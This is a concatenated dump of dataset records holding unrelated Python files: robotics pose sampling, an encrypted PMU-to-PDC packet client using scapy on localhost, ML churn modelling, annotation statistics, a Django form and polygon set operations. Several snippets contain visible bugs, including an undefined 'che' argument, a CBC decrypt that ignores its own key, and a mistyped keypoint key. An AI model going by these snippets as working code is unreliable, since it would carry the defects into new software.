exit...\")\n\tsys.exit(1)\n\ntraverse(path, string)\n\n# Exit after keyboard input\nend = input(\"\\nPress any key to exit...\")","sub_path":"pixl-find.py","file_name":"pixl-find.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"69256250","text":"# -*- coding: utf-8 -*-\nfrom juno import *\nfrom config import *\nfrom pymongo import Connection\n\nconnection = Connection('localhost', 27017)\ndb = connection[DATABASE_NAME]\ntweets = db[COLLECTION_NAME]\n\n@route('/')\ndef index(web):\n\n template(\"index.html\",{\"tweets\":tweets.find()})\n\nrun()\n","sub_path":"api/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"578825537","text":"import random\nfrom math import pi\n\nimport numpy as np\nfrom hpp import Quaternion\n\nchessboard_pts = [\n [-0.05, -0.1, 0.0],\n [0.25, -0.1, 0.0],\n [0.25, 0.1, 0.0],\n [-0.05, 0.1, 0.0],\n]\nchessboard_normal = np.matrix([0.0, 0.0, -1.0]).transpose()\n\nimage_width = 1280\nimage_height = 720\nprojection_matrix = np.matrix(\n [[999.195, 0.0, 646.3244], [0.0, 1008.400, 359.955], [0.0, 0.0, 1.0]]\n)\n\ndist_from_camera = [0.35, 0.6]\ncamera_position = np.matrix([0.0, 0.0, 0.0])\n\n# Nb of position on the image where we want to place the chessboard image\nnb_rows = 3\nnb_cols = 4\n# Number of pixels around the image where the centre of the board cannot be\nborder = 100\n\n\ndef isInImage(coord):\n x = coord[0, 0]\n y = coord[1, 0]\n return (x >= 0) & (x < image_width) & (y >= 0) & (y < image_height)\n\n\ndef projectPoint(Rt, pt):\n coord = projection_matrix * Rt * np.vstack((pt, np.matrix([1])))\n coord /= coord[2, 0]\n return coord[0:2, 0]\n\n\n# Randomize the position of the chessboard\nfor x in [\n border + (i + 0.5) * (image_width - 2 * border) / nb_cols for i in range(nb_cols)\n]:\n x -= (\n border\n ) # The chessboard is on the right of the aluminum plate, so we shift the gaze to the left to see it\n for y in [\n border + (i + 0.5) * (image_height - 2 * border) / nb_rows\n for i in range(nb_rows)\n ]:\n # Keep only poses where the chessboard can be seen from the camera\n while True:\n chessboard_Z = random.uniform(dist_from_camera[0], dist_from_camera[1])\n chessboard_X = (\n (x - projection_matrix[0, 2]) / projection_matrix[0, 0] * chessboard_Z\n )\n chessboard_Y = (\n (y - projection_matrix[1, 2]) / projection_matrix[1, 1] * chessboard_Z\n )\n chessboard_position = np.matrix([chessboard_X, chessboard_Y, chessboard_Z])\n\n q = Quaternion().fromRPY(\n random.uniform(-pi / 12.0, pi / 12.0),\n random.uniform(-pi / 12.0, pi / 12.0),\n random.uniform(-pi / 12.0, pi / 12.0),\n )\n R = q.toRotationMatrix()\n if (R * chessboard_normal)[2] >= 0.0:\n continue\n\n Rt = np.hstack((R, (chessboard_position - camera_position).transpose()))\n\n if not all(\n [\n isInImage(projectPoint(Rt, np.matrix(pt).transpose()))\n for pt in chessboard_pts\n ]\n ):\n continue\n\n chessboard_position\n q = Quaternion().fromRPY(-pi, 0, -pi) * q # Switch tn the real camera frame\n\n chessboard_pose = (\n chessboard_position[0, 0],\n chessboard_position[0, 1],\n chessboard_position[0, 2],\n ) + q.toTuple()\n ps.createTransformationConstraint(\n \"gaze\",\n \"talos/rgbd_rgb_optical_joint\",\n \"mire/root_joint\",\n (\n che,\n 0,\n 0.35,\n 0.0556137029376,\n 0.989856018959,\n 0.128925982673,\n 0.0216856811927,\n ),\n [True] * 6,\n )\n break\n","sub_path":"talos/camera_calibration/generate_pose.py","file_name":"generate_pose.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406086262","text":"from scapy.all import *\nimport time\nimport sys\nimport binascii\nimport crc16\nimport six\nimport base64\n#import struct\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes, hmac, padding\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.exceptions import InvalidSignature\n#from cryptography.hazmat.primitives import serialization\nimport pmu, utils\n\nclass InvalidToken(Exception):\n pass\n\nclass client(object):\n def __init__(self, key, client_nonce, iv, aad, backend=default_backend()):\n self.key_pub = key\n self.key_session = None\n self.cipher = None\n self.encryptor = None\n self.decryptor = None\n self.hmac = None\n self._iv = iv\n self._client_nonce = client_nonce\n self._aad = aad\n self._backend = backend\n\n def cbc_decrypt(self, ciphertext, key=None):\n if key is None:\n key = self.key_pub\n cipher = Cipher(algorithms.AES(key), modes.CBC(self._iv), backend=default_backend())\n decryptor = self.cipher.decryptor()\n plaintext_padded = decryptor.update(ciphertext)\n try:\n plaintext_padded += decryptor.finalize()\n except ValueError:\n raise InvalidToken\n unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()\n unpadded = unpadder.update(plaintext_padded)\n try:\n unpadded += unpadder.finalize()\n except ValueError:\n raise InvalidToken\n return unpadded\n return plaintext\n\n def cbc_encrypt(self, plaintext, key=None):\n if key is None:\n key = self.key_pub\n padder = padding.PKCS7(algorithms.AES.block_size).padder()\n padded_data = padder.update(plaintext) + padder.finalize()\n\n self.cipher = Cipher(algorithms.AES(key), modes.CBC(self._iv), backend=self._backend)\n encryptor = self.cipher.encryptor()\n ciphertext = encryptor.update(padded_data) + encryptor.finalize()\n\n basic_parts = (b\"\\x80\" + self._iv + ciphertext) # struct.pack(\">Q\", int(time.time())) +\n\n hm = hmac.HMAC(key, hashes.SHA256(), backend=self._backend)\n hm.update(basic_parts)\n h_mac = hm.finalize()\n payload = base64.urlsafe_b64encode(basic_parts + h_mac)\n return payload\n\n def verify_hmac(self, data, key=None):\n if key is None:\n key = self.key_pub\n if not data or six.indexbytes(data, 0) != 0x80:\n raise InvalidToken\n\n h = hmac.HMAC(key, hashes.SHA256(), backend=self._backend)\n h.update(data[:-32])\n try:\n h.verify(data[-32:])\n except InvalidSignature:\n raise InvalidToken\n\n def create_session(self, PDC_ID,server_nonce,MAC_PDC,MAC_PMU,cFun=\"AESGCM\"):\n hm = hashes.Hash(hashes.SHA256(), backend=self._backend)\n hm.update(PDC_ID + self._client_nonce + server_nonce + MAC_PDC + MAC_PMU)\n self.key_session = hm.finalize()\n if cFun == \"AESGCM\":\n self.cipher = AESGCM(self.key_session)\n elif cFun == \"ChaCha20\":\n algorithm = algorithms.ChaCha20(self.key_session, self._client_nonce)\n self.cipher = Cipher(algorithm, mode=None, backend=self._backend)\n self.encryptor = self.cipher.encryptor()\n self.decryptor = self.cipher.decryptor()\n elif cFun == \"CBC\":\n self.cipher = Cipher(algorithms.AES(self.key_session), modes.CBC(self._iv), backend=self._backend)\n self.encryptor = self.cipher.encryptor()\n self.decryptor = self.cipher.decryptor()\n\n return self.key_session\n\n\n def gcm_encrypt(self, data, cFun=\"AESGCM\"):\n if cFun == \"AESGCM\":\n ciphertext = self.cipher.encrypt(self._client_nonce, data, self._aad)\n basic_parts = (b\"\\x40\" + ciphertext)\n return base64.urlsafe_b64encode(basic_parts)\n elif cFun == \"ChaCha20\":\n ciphertext = self.encryptor.update(data)\n basic_parts = (b\"\\x40\" + ciphertext)\n self.hmac = hmac.HMAC(self.key_session, hashes.SHA256(), backend=self._backend)\n self.hmac.update(basic_parts)\n h_mac = self.hmac.finalize()\n payload = base64.urlsafe_b64encode(basic_parts + h_mac)\n return payload\n elif cFun == \"CBC\":\n ciphertext = self.encryptor.update(data)\n basic_parts = (b\"\\x40\" + ciphertext)\n self.hmac = hmac.HMAC(self.key_session, hashes.SHA256(), backend=self._backend)\n self.hmac.update(basic_parts)\n h_mac = self.hmac.finalize()\n payload = base64.urlsafe_b64encode(basic_parts + h_mac)\n return payload\n\n def gcm_decryt(self, data, cFun=\"AESGCM\", nonce=None, aad=None):\n if not data or six.indexbytes(data, 0) != 0x40:\n raise InvalidToken\n if cFun == \"AESGCM\":\n return self.cipher.decrypt(nonce, data, aad)\n elif cFun == \"ChaCha20\":\n self.hmac = hmac.HMAC(self.key_session, hashes.SHA256(), backend=self._backend)\n self.hmac.update(data[:-32])\n try:\n self.hmac.verify(data[-32:])\n except InvalidSignature:\n raise InvalidToken\n return self.decryptor.update(data[:-32])\n elif cFun == \"CBC\":\n self.hmac = hmac.HMAC(self.key_session, hashes.SHA256(), backend=self._backend)\n self.hmac.update(data[:-32])\n try:\n self.hmac.verify(data[-32:])\n except InvalidSignature:\n raise InvalidToken\n return self.decryptor.update(data[:-32])\n\n#read/gen public key\n# pk = os.urandom(32) #256bits public key\nif __name__ == \"__main__\":\n\n with open(\"pk.pem\", \"r\") as f:\n pk = f.read()\n\n # with open(\"iv.nouce\", \"r\") as f:\n # iv = f.read()\n\n MAC_PDC = \"06:j0:74:u9:98:50 \"\n MAC_PMU = \"98:50:06:j0:74:u9\"\n PDC_ID = \"HTB\"\n PMU_server_ip = \"127.0.0.1\"\n PDC_server_ip = \"127.0.0.1\"\n PMU_port = 8001\n PDC_port = 8002\n network_face = \"lo\"\n\n #_MAX_CLOCK_SKEW = 60\n frame_rate = 1.0/30\n #gen nonce for pmu and pdc\n client_nonce = os.urandom(16)\n iv = os.urandom(16)\n aad = os.urandom(16)\n pmu = client(pk,client_nonce,iv,aad,default_backend())\n #pmu.cipher = Cipher(algorithms.AES(pmu.key_pub), modes.CBC(pmu._iv), backend=pmu._backend)\n payload = pmu.cbc_encrypt(client_nonce + aad)\n ans = utils.packet_send(payload, src=PMU_server_ip, dst=PDC_server_ip, flag= \"S\",sport=PMU_port,\n dport=PDC_port, mode=sr1)\n # = sniff(iface=network_face, filter=\"tcp and src host \" + str(PDC_server_ip) + \" and dst port \" + str(PMU_port), timeout = 10, count = 1)\n print(\"waiting for response\")\n data = base64.urlsafe_b64decode(ans[0].load)\n pmu.verify_hmac(data)\n\n ciphertext = data[1:-32]\n plaintext = pmu.cbc_decrypt(ciphertext)\n server_nonce = plaintext[:13]\n\n cFun = \"AESGCM\"\n pkts = rdpcap(\"PMU.pcap\")\n data = pkts[0].load\n\n pmu.create_session(PDC_ID,server_nonce,MAC_PDC,MAC_PMU,cFun=cFun)\n\n print(\"start sending pmu data ................\")\n cnt = 0\n starttime = time.time()\n for i in range(1):\n while time.time() - starttime < 60:\n ciphertext = pmu.gcm_encrypt(data,cFun=cFun)\n cnt += 1\n print(cnt)\n utils.packet_send(ciphertext, src=PMU_server_ip, dst=PDC_server_ip, sport=PMU_port, dport=PDC_port, flag=18, mode=send)\n \n while True:\n if (time.time() - starttime) > frame_rate:\n starttime += frame_rate\n break\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108095228","text":"import pandas\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.tree import DecisionTreeClassifier\n\n# Read the Apparel data in CSV file.\napperalData = pandas.read_csv(\"ApperalDataSet.csv\")\n\n# Print the names of the columns in CSV dataset.\nprint(apperalData.columns)\n\n#Feature Extraction\n#Select most influenced features from datamart for Churn of an employees based on correlation values\ndef featureExtraction():\n x = apperalData.corr()[\"churn\"]\n\n#Create the model\ndef setModel():\n #get the columns in the csv\n columns = apperalData.columns.tolist()\n # Remove Unwanted Labels to predict labels.But here we have to take the featureExtraction() and do it.\n #have to use only numeric values to the model\n columns = [c for c in columns if\n c not in [\"ID\", \"Name\", \"Basic Salary\", \"churn\", \"Health Status\", \"Recidency\", \"Past Job Role\",\n \"Education\", \"Job Role\"]]\n # Set the predicted target to Churn\n target = \"churn\"\n # Generate the training set. Set random_state to be able to replicate results.\n train = apperalData.sample(frac=0.8, random_state=1)\n # Select anything not in the training set and put it in the testing set.\n test = apperalData.loc[~apperalData.index.isin(train.index)]\n return (target,columns,train,test)\n\n#Train the model using different classification methods\n#Using Linear Regression\ndef trainModelLinearRegression(target,columns,train,test):\n # Initialize the model class and calculate linear regression\n model = LinearRegression()\n # Fit the model to the training data.\n model.fit(train[columns], train[target])\n # Generate our predictions for the test set.\n predictions = model.predict(test[columns])\n return predictions\n\n#Using Desicion Trees\ndef trainModelDesicionTrees(target, columns, train, test):\n model = DecisionTreeClassifier(random_state=0)\n # Fit the model to the data.\n model.fit(train[columns], train[target].astype(int))\n # Make predictions.\n predictions = model.predict(test[columns])\n return predictions\n\n#Using Support Vector Machine\ndef trainModelSVM(target, columns, train, test):\n # model = svm.SVC(gamma=0.001, C=100.)\n # model.fit(train[columns], train[target].astype(int))\n # SVC(decision_function_shape=None,random_state=None,verbose=False)\n # # SVC(C=100.0, cache_size=200, class_weight=None, coef0=0.0,\n # # decision_function_shape=None, degree=3, gamma=0.001, kernel='rbf',\n # # max_iter=-1, probability=False, random_state=None, shrinking=True,\n # # tol=0.001, verbose=False)\n # predictions = model.predict(test[columns])\n # print(\"SVM\")\n # print(mean_squared_error(predictions, test[target]))\n return 0\n\n#Test the model using Mean Squared Error\ndef tetstingModel(predictions,target,test):\n # Compute error between our test predictions and the actual values.\n return mean_squared_error(predictions, test[target])\n\n#Select best model by comparing different error values\ndef selectBestModel():\n bestModel = \"Desicion Trees\"\n target,columns,train,test=setModel()\n\n predictions=trainModelDesicionTrees(target,columns,train,test)\n errorDecesionTree=tetstingModel(predictions, target, test)\n print(\"errorDecesionTree\")\n print(errorDecesionTree)\n predictions =trainModelLinearRegression(target, columns, train, test)\n errorLinearRegression = tetstingModel(predictions, target, test)\n print(\"errorLinearRegression\")\n print(errorLinearRegression)\n\n#Function callings\n\nd=featureExtraction()\nselectBestModel()\n\n\n\n\n\n\n\n","sub_path":"com/empsense/apparel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"299267171","text":"'''数据粒度分布处理单个json'''\r\n# -*- coding:utf-8 -*-\r\n\r\nimport os, sys\r\nimport glob\r\nimport json\r\nimport codecs\r\nimport numpy as np\r\n\r\n\r\ndef get_smoke_phone_infos(dataset_json_dir, save_info_name):\r\n\r\n save_file = codecs.open(save_info_name, \"w\", \"utf-8\")\r\n save_file.close()\r\n\r\n #加入所需统计属性(英文及相应中文)\r\n save_file = codecs.open(save_info_name, \"a+\", 'utf-8')\r\n write_line = 'id image_num smoke_nohand smoke_hand smoke_hard nosmoke_bg nosmoke_face nosmoke_susp nosmoke_cover'\r\n write_line += ' nohand ignore_hand phone_normal phone_backhand phone_hard nophone_face nophone_susp nophone_bg'\r\n write_line += ' head_count head_avg ' \\\r\n 'head_ignore_no_count ' \\\r\n 'head_ignore_yes_count ' \\\r\n 'right_eye_closed_count right_eye_open_count right_eye_uncertain_count right_eye_unknown_count ' \\\r\n 'left_eye_closed_count left_eye_open_count left_eye_uncertain_count left_eye_unknown_count ' \\\r\n 'glasses_count sunglasses_count glasses_unknown_count glasses_none_count ' \\\r\n 'hand_count hand_avg hand_ignore_no_count hand_ignore_yes_count'\r\n write_line+=' face_keypoint_28_count ' \\\r\n 'face_keypoint_29_count ' \\\r\n 'face_keypoint_39_count ' \\\r\n 'face_keypoint_72_count'\r\n write_line+=' point_attrs_visible point_attrs_invisible point_attrs_occluded keypoint_var\\n'\r\n write_line+='json名称 图片数量总和 抽烟-嘴叼烟没有手数 抽烟-手持且放嘴上数 抽烟-难以分辨数 不抽烟-手在背景区域数 不抽烟-手在人脸附近数 不抽烟-手在嘴巴附近数 不抽烟-严重遮挡数'\r\n write_line+=' 原始电话数据量 忽略数 拿手机正手打电话数 拿手机反手打电话数 肉眼难以识别打电话数 不拿手机的手在人脸附近数 不拿手机的手在耳朵附近数 不拿手机的手在背景区域数'\r\n write_line+=' 头数 平均头数 不忽略头数 忽略头数 闭右眼数 睁右眼数 不确定右眼是否睁闭数 不知道右眼是否睁闭数 闭左眼��� 睁左眼数 不确定左眼是否睁闭数 不知道左眼是否睁闭数 ' \\\r\n '正常眼镜数 太阳眼镜数 不知道有没有戴眼镜数 不带眼镜数 ' \\\r\n '手数 平均手数 不忽略手数 忽略手数'\r\n write_line+=' 28点人脸记数 29点人脸记数 39点人脸记数 72点人脸记数'\r\n write_line+=' 人脸点可见数 人脸点不可见数 人脸点被遮挡数 方差\\n'\r\n save_file.write(write_line)\r\n\r\n #遍历json的每一行\r\n for json_file_name in glob.glob(dataset_json_dir + '/*.json'):\r\n json_file = open(json_file_name, 'r')\r\n base_file_id = os.path.basename(json_file_name)[:-5]\r\n print(base_file_id, '.json')\r\n\r\n image_num = 0\r\n # smoke\r\n smoke_hand_num, smoke_nohand_num, smoke_hard_num = 0, 0, 0\r\n nosmoke_bg_num, nosmoke_face_num, nosmoke_susp_num, nosmoke_cover_num = 0, 0, 0, 0\r\n # phone\r\n nohand_num, ignore_hand_num = 0, 0\r\n phone_normal_num, phone_backhand_num, phone_hard_num = 0, 0, 0\r\n nophone_bg_num, nophone_face_num, nophone_susp_num = 0, 0, 0\r\n # head& eye& glasses& hand\r\n head_count, head_avg, head_ignore_no_count, head_ignore_yes_count = 0, 0, 0, 0\r\n right_eye_closed_count, right_eye_open_count, right_eye_uncertain_count, right_eye_unknown_count = 0, 0, 0, 0\r\n left_eye_closed_count, left_eye_open_count, left_eye_uncertain_count, left_eye_unknown_count = 0, 0, 0, 0\r\n glasses_count, sunglasses_count, glasses_unknown_count, glasses_none_count = 0, 0, 0, 0\r\n hand_count, hand_avg, hand_ignore_no_count, hand_ignore_yes_count = 0, 0, 0, 0\r\n # count\r\n face_keypoint_28_count, face_keypoint_29_count, face_keypoint_39_count, face_keypoint_72_count = 0, 0, 0, 0\r\n point_attrs_visible, point_attrs_invisible, point_attrs_occluded , keypoint= 0, 0, 0, (0,0)\r\n json_lines = json_file.read().splitlines()\r\n for line in json_lines:\r\n if line[0] == '#':\r\n continue\r\n js = json.loads(line)\r\n imgName = js[\"image_key\"]\r\n image_num += 1\r\n\r\n #烟属性统计smoke\r\n if 'common_box' in js:\r\n for idx in range(len(js['common_box'])):\r\n if js['common_box'][idx]['attrs']['type'] != 'smoke_region':\r\n continue\r\n\r\n select_class = js['common_box'][idx]['attrs']['class']\r\n if select_class == 'smoke_hand':\r\n smoke_hand_num += 1\r\n elif select_class == 'smoke_nohand':\r\n smoke_nohand_num += 1\r\n elif select_class == 'smoke_hard':\r\n smoke_hard_num += 1\r\n elif select_class == 'nosmoke_bg':\r\n nosmoke_bg_num += 1\r\n elif select_class == 'nosmoke_face':\r\n nosmoke_face_num += 1\r\n elif select_class == 'nosmoke_susp':\r\n nosmoke_susp_num += 1\r\n elif select_class == 'nosmoke_cover':\r\n nosmoke_cover_num += 1\r\n else:\r\n print('Smoke region not defined', base_file_id, imgName)\r\n\r\n #电话属性统计phone\r\n if not 'hand' in js:\r\n nohand_num += 1\r\n else:\r\n for idx in range(len(js['hand'])):\r\n if 'ignore' in js['hand'][idx]['attrs'].keys():\r\n if js['hand'][idx]['attrs']['ignore'] == 'yes':\r\n ignore_hand_num += 1\r\n continue\r\n\r\n if 'phone_status' in js['hand'][idx]['attrs'].keys():\r\n phone_status = js['hand'][idx]['attrs']['phone_status']\r\n if phone_status == 'nophone_bg':\r\n nophone_bg_num += 1\r\n elif phone_status == 'nophone_face':\r\n nophone_face_num += 1\r\n elif phone_status == 'nophone_susp':\r\n nophone_susp_num += 1\r\n elif phone_status == 'phone_normal':\r\n phone_normal_num += 1\r\n elif phone_status == 'phone_backhand':\r\n phone_backhand_num += 1\r\n elif phone_status == 'phone_hard':\r\n phone_hard_num += 1\r\n else:\r\n print('Phone status not defined', base_file_id, imgName)\r\n\r\n #头框属性统计(包括头,眼睛(左眼 右眼),眼镜框数的统计)\r\n if 'head' in js.keys():\r\n head_count += len(js['head'])\r\n head_avg = + head_count / image_num\r\n for idx in range(len(js['head'])):\r\n if 'ignore' in js['head'][idx]['attrs'].keys():\r\n if js['head'][idx]['attrs']['ignore'] == 'no':\r\n head_ignore_no_count += 1\r\n else:\r\n head_ignore_yes_count += 1\r\n if 'right_eye' in js['head'][idx]['attrs'].keys():\r\n if js['head'][idx]['attrs']['right_eye'] == 'closed':\r\n right_eye_closed_count += 1\r\n elif js['head'][idx]['attrs']['right_eye'] == 'open':\r\n right_eye_open_count += 1\r\n elif js['head'][idx]['attrs']['right_eye'] == 'uncertain':\r\n right_eye_uncertain_count += 1\r\n else:\r\n right_eye_unknown_count += 1\r\n if 'left_eye' in js['head'][idx]['attrs'].keys():\r\n if js['head'][idx]['attrs']['left_eye'] == 'closed':\r\n left_eye_closed_count += 1\r\n elif js['head'][idx]['attrs']['left_eye'] == 'open':\r\n left_eye_open_count += 1\r\n elif js['head'][idx]['attrs']['left_eye'] == 'uncertain':\r\n left_eye_uncertain_count += 1\r\n else:\r\n left_eye_unknown_count += 1\r\n if 'has_glasses' in js['head'][idx]['attrs'].keys():\r\n if js['head'][idx]['attrs']['has_glasses'] == 'glasses':\r\n glasses_count += 1\r\n elif js['head'][idx]['attrs']['has_glasses'] == 'sunglasses':\r\n sunglasses_count += 1\r\n elif js['head'][idx]['attrs']['has_glasses'] == 'unknown':\r\n glasses_unknown_count += 1\r\n else:\r\n glasses_none_count += 1\r\n\r\n #手框属性的统计\r\n if 'hand' in js.keys():\r\n hand_count += len(js['hand'])\r\n hand_avg += hand_count / image_num\r\n for idx in range(len(js['hand'])):\r\n if 'ignore' in js['hand'][idx]['attrs']:\r\n if js['hand'][idx]['attrs']['ignore'] == 'no':\r\n hand_ignore_no_count += 1\r\n else:\r\n hand_ignore_no_count += 1\r\n\r\n #人脸框关键点属性统计face_keypoint\r\n key_lst=[]\r\n if 'face_keypoint_28' in js.keys():\r\n face_keypoint_28_count += 1\r\n point_attrs_visible += js['face_keypoint_28'][0]['point_attrs'].count('full_visible')\r\n point_attrs_invisible += js['face_keypoint_28'][0]['point_attrs'].count('invisible')\r\n point_attrs_occluded += js['face_keypoint_28'][0]['point_attrs'].count('occluded')\r\n key = js['face_keypoint_28'][0]['data']\r\n key = np.var(key, axis=0)\r\n key_lst.append(list(key))\r\n\r\n if 'face_keypoint_29' in js.keys():\r\n face_keypoint_29_count += 1\r\n point_attrs_visible += js['face_keypoint_29'][0]['point_attrs'].count('full_visible')\r\n point_attrs_invisible += js['face_keypoint_29'][0]['point_attrs'].count('invisible')\r\n point_attrs_occluded += js['face_keypoint_29'][0]['point_attrs'].count('occluded')\r\n key = js['face_keypoint_29'][0]['data']\r\n key = np.var(key, axis=0)\r\n key_lst.append(list(key))\r\n\r\n if 'face_keypoint_39' in js.keys():\r\n face_keypoint_39_count += 1\r\n point_attrs_visible += js['face_keypoint_39'][0]['point_attrs'].count('full_visible')\r\n point_attrs_invisible += js['face_keypoint_39'][0]['point_attrs'].count('invisible')\r\n point_attrs_occluded += js['face_keypoint_39'][0]['point_attrs'].count('occluded')\r\n key = js['face_keypoint_38'][0]['data']\r\n key = np.var(key, axis=0)\r\n key_lst.append(list(key))\r\n\r\n if 'face_keypoint_72' in js.keys():\r\n face_keypoint_72_count += 1\r\n point_attrs_visible += js['face_keypoint_72'][0]['point_attrs'].count('full_visible')\r\n point_attrs_invisible += js['face_keypoint_72'][0]['point_attrs'].count('invisible')\r\n point_attrs_occluded += js['face_keypoint_72'][0]['point_attrs'].count('occluded')\r\n key = js['face_keypoint_72'][0]['data']\r\n key = np.var(key, axis=0)\r\n key_lst.append(list(key))\r\n\r\n keypoint = np.mean(key_lst, axis=0)\r\n min=np.min(keypoint,axis=0)\r\n print(min)\r\n keypoint = tuple(keypoint)\r\n #print(keypoint)\r\n\r\n\r\n\r\n # end of all lines\r\n\r\n #写入txt文件\r\n write_line = base_file_id + ' %d' % (image_num)\r\n write_line += ' %d %d %d %d %d %d %d' % (\r\n smoke_nohand_num, smoke_hand_num, smoke_hard_num, nosmoke_bg_num, nosmoke_face_num, nosmoke_susp_num,\r\n nosmoke_cover_num)\r\n write_line += ' %d %d %d %d %d %d %d %d' % (\r\n nohand_num, ignore_hand_num, phone_normal_num, phone_backhand_num, phone_hard_num, nophone_face_num,\r\n nophone_susp_num, nophone_bg_num)\r\n write_line += ' %d %d %d %d' % (head_count, head_avg, head_ignore_no_count, head_ignore_yes_count)\r\n write_line += ' %d %d %d %d' % (\r\n right_eye_closed_count, right_eye_open_count, right_eye_uncertain_count, right_eye_unknown_count)\r\n write_line += ' %d %d %d %d' % (\r\n left_eye_closed_count, left_eye_open_count, left_eye_uncertain_count, left_eye_unknown_count)\r\n write_line += ' %d %d %d %d' % (glasses_count, sunglasses_count, glasses_unknown_count, glasses_none_count)\r\n write_line += ' %d %d %d %d' % (hand_count, hand_avg, hand_ignore_no_count, hand_ignore_yes_count)\r\n write_line += ' %d %d %d %d %d %d %d %s\\n' % (\r\n face_keypoint_28_count, face_keypoint_29_count, face_keypoint_39_count, face_keypoint_72_count,\r\n point_attrs_visible, point_attrs_invisible, point_attrs_occluded, keypoint)\r\n\r\n save_file.write(write_line)\r\n json_file.close()\r\n save_file.close()\r\n print('write done', save_info_name)\r\n\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) < 2:\r\n print('get_smoke_phone_infos.py dataset_json_dir save_info_name')\r\n exit()\r\n dataset_json_dir = sys.argv[1]\r\n save_info_name = sys.argv[2]\r\n get_smoke_phone_infos(dataset_json_dir, save_info_name)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"json-txt/new_attr.py","file_name":"new_attr.py","file_ext":"py","file_size_in_byte":13850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"11607917","text":"import matplotlib.pyplot as plt\n\n# Original input\nx = [2, 7, 7, 2, 2]\ny = [2, 2, 7, 7, 2]\n\n# For scaling input\nsx = 5\nsy = 7\n\n# Result for x and y\ndx = [0, 0, 0, 0, 0]\ndy = [0, 0, 0, 0, 0]\n\n\nfor i in range(len(x)):\n dx[i] = x[i]*sx\n\nfor i in range(len(y)):\n dy[i] = y[i]*sy\n\nprint(dx)\nprint(dy)\nplt.plot(x, y)\nplt.plot(dx, dy)\nplt.show()\n","sub_path":"scaling.py","file_name":"scaling.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"455216997","text":"# -*- coding: utf-8 -*-\n#NÃO APAGUE A LINHA ACIMA. COMECE ABAIXO DESTA LINHA\na=int(input('Digite o valor de a:'))\ni=0\nnumerador=2\ndenominador=1\nproduto=1\nwhile i<=a:\n produto= produto* numerador / denominador\n if i%2==1:\n numerador= numerador + 2\n else:\n denominador= denominador *2\n i=i+1\nproduto=produto+2\nprint(produto)\n\n\n","sub_path":"moodledata/vpl_data/131/usersdata/214/45453/submittedfiles/al10.py","file_name":"al10.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7828974","text":"from django import forms\nfrom .models import Order\nfrom product.models import Product\nfrom user.models import User\n\n\nclass RegisterForm(forms.Form):\n\n def __init__(self, request, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.request = request\n\n quantity = forms.IntegerField(error_messages={\n 'required': 'Please enter quantity'\n }, label=\"Quantity\")\n\n product = forms.IntegerField(error_messages={\n 'required': 'Please write product description'}, label='Product description', widget=forms.HiddenInput)\n\n def clean(self):\n cleaned_data = super().clean()\n quantity = cleaned_data.get('quantity')\n product = cleaned_data.get('product')\n user = self.request.session.get('user')\n\n if not (quantity and product):\n self.add_error('quantity', 'No result')\n self.add_error('product', 'No result')\n","sub_path":"django_shop/order/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229986498","text":"from abc import (ABC,\n abstractmethod)\nfrom itertools import groupby\nfrom operator import attrgetter\nfrom typing import (Iterable,\n List,\n Optional,\n Sequence,\n Tuple,\n Union as Union_)\n\nfrom ground.base import Context\nfrom ground.hints import (Multipolygon,\n Point,\n Polygon,\n Segment)\nfrom reprit.base import generate_repr\n\nfrom . import bounding\nfrom .event import (HoleyEvent as Event,\n event_to_segment_endpoints,\n events_to_connectivity)\nfrom .events_queue import HoleyEventsQueue as EventsQueue\nfrom .hints import (Mix,\n SegmentEndpoints)\nfrom .sweep_line import BinarySweepLine as SweepLine\nfrom .utils import (all_equal,\n endpoints_to_segments,\n pairwise,\n polygon_to_oriented_edges_endpoints,\n shrink_collinear_vertices,\n to_first_border_vertex,\n to_polygons_x_max)\n\n\nclass Operation(ABC):\n __slots__ = 'context', 'left', 'right', '_events_queue'\n\n def __init__(self,\n left: Sequence[Polygon],\n right: Sequence[Polygon],\n context: Context) -> None:\n \"\"\"\n Initializes operation.\n\n :param left: left operand.\n :param right: right operand.\n :param context: operation context.\n \"\"\"\n self.context, self.left, self.right = context, left, right\n self._events_queue = EventsQueue(context)\n\n __repr__ = generate_repr(__init__)\n\n @abstractmethod\n def compute(self) -> Union_[Mix, Multipolygon]:\n \"\"\"\n Computes result of the operation.\n \"\"\"\n\n def compute_fields(self, event: Event, below_event: Optional[Event]\n ) -> None:\n if below_event is not None:\n event.other_interior_to_left = (below_event.other_interior_to_left\n if (event.from_left\n is below_event.from_left)\n else below_event.interior_to_left)\n event.below_in_result_event = (below_event.below_in_result_event\n if (not self.in_result(below_event)\n or below_event.is_vertical)\n else below_event)\n event.in_result = self.in_result(event)\n\n def events_to_polygons(self, events: Iterable[Event]) -> Sequence[Polygon]:\n events = 